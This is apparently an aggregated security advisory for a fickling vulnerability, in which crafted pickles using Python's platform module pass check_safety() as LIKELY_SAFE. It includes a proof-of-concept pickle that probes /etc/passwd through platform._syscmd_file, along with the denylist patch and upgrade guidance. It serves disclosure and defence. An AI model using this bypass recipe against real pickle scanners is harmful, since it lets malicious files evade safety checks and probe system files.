# GHSA-5cxw-w2xg-2m8h: fickling's `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE`

> Crafted pickles bypass fickling's safety checks via platform module, allowing subprocess invocation and file probing during deserialization.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** A user has to click or open something
- **Fix available:** Yes
- **Published:** 13 Mar 2026

## What is GHSA-5cxw-w2xg-2m8h?

GHSA-5cxw-w2xg-2m8h is a vulnerability in fickling, published on 13 Mar 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.

### Official description

# Our assessment

We added `platform` to the blocklist of unsafe modules (https://github.com/trailofbits/fickling/commit/351ed4d4242b447c0ffd550bb66b40695f3f9975). 

It was not possible to inject extra arguments to `file` without first monkey-patching `platform._follow_symlinks` with the pickle, as it always returns an absolute path. We independently hardened it with https://github.com/trailofbits/fickling/commit/b9e690c5a57ee9cd341de947fc6151959f4ae359 to reduce the risk of obtaining direct module references while evading detection.

https://github.com/python/cpython/blob/6d1e9ceed3e70ebc39953f5ad4f20702ffa32119/Lib/platform.py#L687-L695
```python
target = _follow_symlinks(target)
# "file" output is locale dependent: force the usage of the C locale
# to get deterministic behavior.
env = dict(os.environ, LC_ALL='C')
try:
    # -b: do not prepend filenames to output lines (brief mode)
    output = subprocess.check_output(['file', '-b', target],
                                     stderr=subprocess.DEVNULL,
                                     env=env)
```

# Original report

## Summary
A crafted pickle invoking `platform._syscmd_file`, `platform.architecture`, or `platform.libc_ver` passes `check_safety()` with `Severity.LIKELY_SAFE` and zero findings. During `fickling.loads()`, these functions invoke `subprocess.check_output` with attacker-controlled arguments or read arbitrary files from disk.

**Clarification:** The subprocess call uses a list argument (`['file', '-b', target]`), not `shell=True`, so the attacker controls the file path argument to the `file` command, not the command itself. The impact is subprocess invocation with attacker-controlled arguments and information disclosure (file type probing), not arbitrary command injection.

## Affected versions
`<= 0.1.9` (verified on upstream HEAD as of 2026-03-04)

## Non-duplication check against published Fickling GHSAs
No published advisory covers `platform` module false-negative bypass. This follows the same structural pattern as GHSA-5hwf-rc88-82xm (missing modules in `UNSAFE_IMPORTS`) but covers a distinct set of functions.

## Root cause
1. `platform` not in `UNSAFE_IMPORTS` denylist.
2. `OvertlyBadEvals` skips calls imported from stdlib modules.
3. `UnusedVariables` heuristic neutralized by making call result appear used (`SETITEMS` path).

## Reproduction (clean upstream)
```python
from unittest.mock import patch
import fickling
import fickling.fickle as op
from fickling.fickle import Pickled
from fickling.analysis import check_safety

pickled = Pickled([
    op.Proto.create(4),
    op.ShortBinUnicode('platform'),
    op.ShortBinUnicode('_syscmd_file'),
    op.StackGlobal(),
    op.ShortBinUnicode('/etc/passwd'),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),
    op.EmptyDict(),
    op.ShortBinUnicode('init'),
    op.ShortBinUnicode('x'),
    op.SetItem(),
    op.Mark(),
    op.ShortBinUnicode('trace'),
    op.BinGet(0),
    op.SetItems(),
    op.Stop(),
])

results = check_safety(pickled)
print(results.severity.name, len(results.results))  # LIKELY_SAFE 0

with patch('subprocess.check_output', return_value=b'ASCII text') as mock_sub:
    fickling.loads(pickled.dumps())
    print('subprocess called?', mock_sub.called)       # True
    print('args:', mock_sub.call_args[0])               # (['file', '-b', '/etc/passwd'],)
```

Additional affected functions (same pattern):
- `platform.architecture('/etc/passwd')` — calls `_syscmd_file` internally
- `platform.libc_ver('/etc/passwd')` — opens and reads arbitrary file contents

## Minimal patch diff
```diff
--- a/fickling/fickle.py
+++ b/fickling/fickle.py
@@
+        "platform",
```

## Validation after patch
- Same PoC flips to `LIKELY_OVERTLY_MALICIOUS`
- `fickling.loads` raises `UnsafeFileError`
- `subprocess.check_output` is not called

## Impact
- **False-negative verdict:** `check_safety()` returns `LIKELY_SAFE` with zero findings for a pickle that invokes a subprocess with attacker-controlled arguments.
- **Subprocess invocation:** `platform._syscmd_file` calls `subprocess.check_output(['file', '-b', target])` where `target` is attacker-controlled. The `file` command reads file headers and returns type information, enabling file existence and type probing.
- **File read:** `platform.libc_ver` opens and reads chunks of an attacker-specified file path.

## Which versions are affected by GHSA-5cxw-w2xg-2m8h?

2 open source packages ship an affected version, including fickling.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `fickling` | PyPI | All versions | 0.1.10 |
| `fickling` | PyPI | All versions | 0.1.10 |

## How do I fix GHSA-5cxw-w2xg-2m8h?

Upgrade fickling to 0.1.10 or later.

## Is GHSA-5cxw-w2xg-2m8h being exploited?

There is no known exploitation of GHSA-5cxw-w2xg-2m8h in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-5cxw-w2xg-2m8h and fix it if it is affected.

What it is: GHSA-5cxw-w2xg-2m8h is a vulnerability in fickling, published on 13 Mar 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of GHSA-5cxw-w2xg-2m8h in the wild and no public exploit code.

Affected packages and fixed versions:
- fickling (PyPI): affected all versions; fixed in 0.1.10
- fickling (PyPI): affected all versions; fixed in 0.1.10

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-5cxw-w2xg-2m8h/ (Markdown: https://insights.sbomify.com/GHSA-5cxw-w2xg-2m8h/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-5cxw-w2xg-2m8h

---
From sbomify Insights: https://insights.sbomify.com/GHSA-5cxw-w2xg-2m8h/
Summaries are generated and may contain mistakes; the official description above is the record.
